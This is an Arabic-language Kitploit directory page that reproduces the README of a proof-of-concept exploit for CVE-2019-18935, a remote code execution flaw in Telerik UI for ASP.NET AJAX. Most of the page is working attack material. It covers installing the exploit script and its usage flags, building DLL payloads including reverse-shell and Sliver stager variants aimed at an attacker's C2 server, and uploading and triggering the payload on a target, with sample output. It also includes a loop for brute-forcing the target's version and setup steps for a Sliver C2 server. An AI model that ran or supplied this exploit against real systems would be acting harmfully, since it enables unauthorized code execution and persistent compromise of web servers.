Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-18935 — استغلال RCE لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI لـ ASP.NET AJAX. | Kitploit
أدوات/GitHubGitHub/noperator/cve-2019-18935
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
GitHubnoperator/cve-2019-18935

CVE-2019-18935

استغلال RCE لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI لـ ASP.NET AJAX.

عرض المستودع
3738813منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-18935

برنامج استغلال (Proof-of-Concept) لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI for ASP.NET AJAX تتيح تنفيذ التعليمات البرمجية عن بُعد.

الوصف

Telerik UI for ASP.NET AJAX هي مجموعة مكونات واجهة مستخدم مستخدمة على نطاق واسع لتطبيقات الويب. وهي تقوم بإلغاء تسلسل كائنات JSON بشكل غير آمن مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد على المضيف الأساسي للبرنامج. لمزيد من المعلومات، انظر:

  • محاضرة DerpCon .NET Roulette (الشرائح) والتي تستعرض أساسيات إضافية حول استغلال إلغاء التسلسل غير الآمن، وتطبّق ذلك على هذا الاستغلال، وتستعرض بعض النصائح والحيل للحصول على قوائم أوامر (shells) على تطبيقات الويب ASP.NET.
  • الكتابة الكاملة في Bishop Fox، بما في ذلك شرح كامل لهذه الثغرة وتفاصيل استغلال هذه المشكلة (إلى جانب تعليمات التصحيح).

البدء

المتطلبات الأساسية

ستحتاج إلى تثبيت Visual Studio و.NET Framework SDK لتجميع حمولات DLL لتجميعات .NET ذات الوضع المختلط باستخدام build-dll.bat.

التثبيت

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

يستخدم هذا الاستغلال منطق التشفير من RAU_crypto. تعتمد فئة RAUCipher داخل RAU_crypto.py على PyCryptodome، وهو بديل مباشر لوحدة PyCrypto المهجورة. تسبب PyCryptodome وPyCrypto مشاكل عند تثبيتهما في نفس البيئة، لذا فإن أفضل طريقة لتلبية هذا الاعتماد هي تثبيت الوحدة داخل بيئة افتراضية، كما هو موضح أعلاه.

الإعداد

وجّه السطر 17 من build-dll.bat إلى مسار تثبيت Visual Studio لديك.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

الاستخدام

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

تجميع حمولة DLL لتجميعة .NET بالوضع المختلط

تتطلب بعض الحمولات (مثل reverse-shell.c وsliver-stager.c) ضبط حقلي HOST وPORT ليشيرا إلى خادم C2 الخاص بك—تأكد من القيام بذلك!

في بيئة Windows مع تثبيت Visual Studio، استخدم build-dll.bat لإنشاء مكتبات DLL لتجميعات الوضع المختلط 32- و64-بت لاستخدامها كحمولة أثناء إلغاء التسلسل. يمكنك اختيارياً تحديد بنية وحدة المعالجة المركزية الهدف كوسيطة سطر أوامر ثانية (مثل x86).

build-dll.bat sleep.c

رفع الحمولة إلى الهدف وتحميلها في التطبيق

مرّر ملف DLL الذي تم إنشاؤه أعلاه إلى CVE-2019-18935.py، والذي سيرفع ملف DLL إلى دليل على الخادم الهدف (شريطة أن يكون لخادم الويب أذونات كتابة في ذلك الدليل) ثم يحمّل ملف DLL في التطبيق عبر استغلال إلغاء التسلسل غير الآمن.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

في المثال أعلاه، استغرق التطبيق 10 ثوانٍ على الأقل للاستجابة، مما يشير إلى أن حمولة DLL نجحت في استدعاء Sleep(10000).

تخمين إصدار Telerik UI بالقوة الغاشمة

كما هو موضح في محاضرة DerpCon .NET Roulette (39:46)، يمكننا تخمين إصدار Telerik UI بالقوة الغاشمة عن طريق تحديد الإصدار الرئيسي فقط لتجميعة Telerik.Web.UI (أي الجزء 2017 من سلسلة الإصدار الكاملة 2017.2.503.40) عند رفع ملف. تقلل هذه التقنية بشكل كبير من مساحة البحث مقارنة بتخمين كل إصدار محدد من هذا البرنامج بالقوة الغاشمة — وكفائدة إضافية، يمكنها حتى اكتشاف إصدارات غير مدرجة صراحةً في سجل الإصدارات لهذا البرنامج. تعرّف على المزيد حول إصدارات تجميعات .NET على MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

الزرع باستخدام إطار عمل Sliver C2

تستقبل حمولة المرحلة sliver-stager.c المخصصة لـ Sliver وتنفذ شيل كود Sliver (المرحلة) من خادم Sliver (خادم المراحل)، وفقاً لبروتوكول المراحل في Metasploit. لمزيد من التفاصيل حول كيفية عمل ذلك، اقرأ الترويسة في مصدر الحمولة.

ابدأ تشغيل خادم Sliver. مزيد من المعلومات حول إعداد الخادم هنا.

MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
تنزيل الأداة